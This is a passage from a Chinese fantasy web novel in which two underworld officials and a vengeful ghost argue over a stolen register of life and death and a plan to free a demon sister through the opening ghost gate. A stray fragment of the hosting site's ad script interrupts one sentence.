“既然已经见面,就不要问这种没有意义的问题了。”盛情难却冷冷道。她不介意费些口舌解释一番,但当下没有如此叙旧的时间,“我的生死簿在你手上吧。” “是。”天衣无缝承认得倒是坦率,他眨了眨眼睛,却忽然岔开了话,“小白,你的斗篷怎么不见了?非特殊情况弄丢配发的法器可是要扣业绩的——啊,莫非你是想用这种办法来拖延工作?” “把生死簿和判官笔还回来。”盛情难却对他后边的一长段废话充耳不闻。 “我会还回来的,不过不能是现在。”天衣无缝叹了口气,“从前你说什么我都答应,这回可否你让我一次呢?” 这真是一笔很重的人情。他的口吻却不像是朋友之间在讲私情,而像是在谈一桩生意,将这本人情债作为一份筹码来交易。 “如果我有欠你的情,在你骗我的时候也已经两清了。”盛情难却不动声色道,同样是公事公办的口吻。天衣无缝不可谓不了解她,情分的确是她会衡量的东西,可惜他们之间的这笔账已经平了。“我要现在就解除江州的异状。” 她表情没有变化,也没有任何动作,只是手中的引魂幡似乎被风吹动,翻飞不已。但依她和天衣无缝的默契,天衣无缝已经能够看出她这是要动手的前兆。 她方才阻止季亡哀偷袭,也有出于最后那点同事情分的考虑。若是天衣无缝不愿交还,她并不介意武力解决。天衣无缝纵使再厉害,也难以同时对付她和季亡哀两个。 天衣无缝却没有任何反应,仍旧端着那副贵公子般气定神闲的架子。他曾提到过自己生前是某个豪商家的长子,这种装腔作势的模样大概也是源自生前的习惯,无论背后握有的胜算几成,面上都绝对不会露怯。 “小白,我知道你不是那么忠于职责的无常。是因为他么?”天衣无缝目光一转,终于重新落在了季亡哀身上,“其实最初我也没想着要故意骗你的,只是当时这位主动找上门来想杀了我,我就干脆如他所愿,自己顺势躲了半个月的清静罢了。” 看向厉鬼的时候,黑无常的眼神就没有那么温和了,但也没有因为宿怨显露出多大的仇视来。往常见到厉鬼的时候他可没有这样好的脾性,但是当下状况特殊,直接交恶显然不是最好的选择,于是天衣无缝只是不温不火道:“如今你们关系那么好,倒显得我像个外人了。” “不仅是外人,而且是敌人。”季亡哀微笑道,“偷窃别人的东西,还回来是天经地义吧。要是闹到要动手的地步,白白多费彼此的力气,万一不小心还要惹出死伤来,那多不好。” 他话里的“死伤”,死者伤者指的当然是天衣无缝。虽然语带威胁,但季亡哀并没有一点急躁的表现,笑容和语气都依然如同春风一般,来时路上那种阴晦淆乱一扫而空,简直犹如回光返照。三个人里面,倒显得实际上最无所谓的盛情难却是最急切的那个。 “虽然我要做的也不是什么好事,但也不能就这么应厉鬼的要求啊。”天衣无缝不紧不慢道,“既然直接动手对谁都没有好处,不妨开诚布公地谈一谈,说不定能有两全之法呢。” 盛情难却没有作声,只掉过目光瞥了季亡哀一眼。季亡哀则欣然道:“好啊。那就先说说你要做什么。” 天衣无缝也不计较这点先后,神色自若道:“明日三月十六鬼门开,是冥界积压的阴气最重的时候。地府通常将鬼门设在人间阳气最盛的一地,以镇压其下的百鬼。但如今江州生死失序阴阳混沌,鬼门洞开,地府关押的诸般恶鬼就有机会摆脱镣锁,穿门而出。” 他解释的略显详细,大概是为了给并非鬼差的季亡哀说明,但意外的没有废话。或许是因为对方并非是能够随心所欲闲话的友人,他便拿了点不苟言笑的态度出来。 鬼门大开的结果,盛情难却身为白无常自然也明白,天衣无缝的这番话并没有在她意料之外。她平波不惊道:“是为了放你的妹妹出来?” 听到她这句没头没尾的话,天衣无缝微微掀动嘴角,露出一个接近于笑的表情, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然而白发飘拂在他眉眼间,宛若一片凄然的月光。 “没错,舍妹正是恶鬼之一。”他抬手撩开发丝,一字字说得很平稳,好像只是一位诚信交易的客商清清白白列出自己的要求,“我要放她出来,然后杀了她。” “只是我觉得……若是为了杀人而留在世间,太辛苦了。” 十几天之前,在黑白两位无常即将分别之时,那是天衣无缝对盛情难却所说的最后一句话。 盛情难却回想起来,终于豁然省悟。 那并非是一句作壁上观的劝诫,而是一句同样置身其中的喟叹。 真不愧是天造地设心有灵犀的一对搭档。他和她一样,百年之久,执着不懈,所寻求的都是……杀了某个人。 为什么?他是为了什么呢?也是因为……爱么? 天衣无缝显然没有发疯,他也不是那种会定下杀人的约定的怪人。背后的缘由盛情难却懒得再想下去了,总归是别人的家事。既然已经明了天衣无缝的目的,前因后果也没必要弄得那么清楚。 “你应该也知道为什么地府没有再遣人来此。”她这句话来得突然,仿佛有些文不对题。 “那又如何?”天衣无缝反问。 “且慢且慢,你们俩心照不宣,我可不明白你们地府里的事,能不能不要打哑谜?”季亡哀笑眯眯道。 “地府这些年人手短缺,但也不至于再派不出几名鬼差。阎王没有遣人来此,定然是选择了更加稳妥的办法。”盛情难却替季亡哀解释,漆黑的眼眸却盯着天衣无缝,“能调集的鬼差十有八九都镇守在无间狱,待到鬼门关闭,再重新来解决江州之事。” 她虽然是个地位不高的无常,但至少也在地府混了百年,现任阎王爷的脾气多少还是了解几分的。前任的阎王是武夫出身,性情大开大合,传说就是因为他某次率性的决策,才导致地府如今比从前兵微将寡;而当任的阎王生前是名书生,凡事喜欢思虑周全,宁愿损一些小利,也要顾全大局。 江州一城虽然不能算“小利”,但若是无间狱的恶鬼全都流窜人间,祸害的就远远不止一座城池了。 而天衣无缝同样当了这么久的无常,心思又慧黠,不可能想不到地府的决断。 她平静地下了定论:“就算没有人间的阳气镇压,有十殿阎罗看守,无间狱关押的恶鬼也绝无可能逃逸。” “世上哪有天衣无缝的谋划,自然是要担一些风险的。”黑无常轻轻叩着自己的下巴,游刃有余地说了个关于自己名讳的冷笑话。 “没有风险这一说。”盛情难却重复了一遍,语调平直如剑刃,斩钉截铁,“无间狱关押的恶鬼绝无可能逃逸。” 天衣无缝当然明白盛情难却这是想说服他放弃这个谋划,但少女决然的语气并不似作伪。他沉默了一下,忽然又像随口扯闲天那样漫不经心道: “小白,你很相信‘绝对’么?”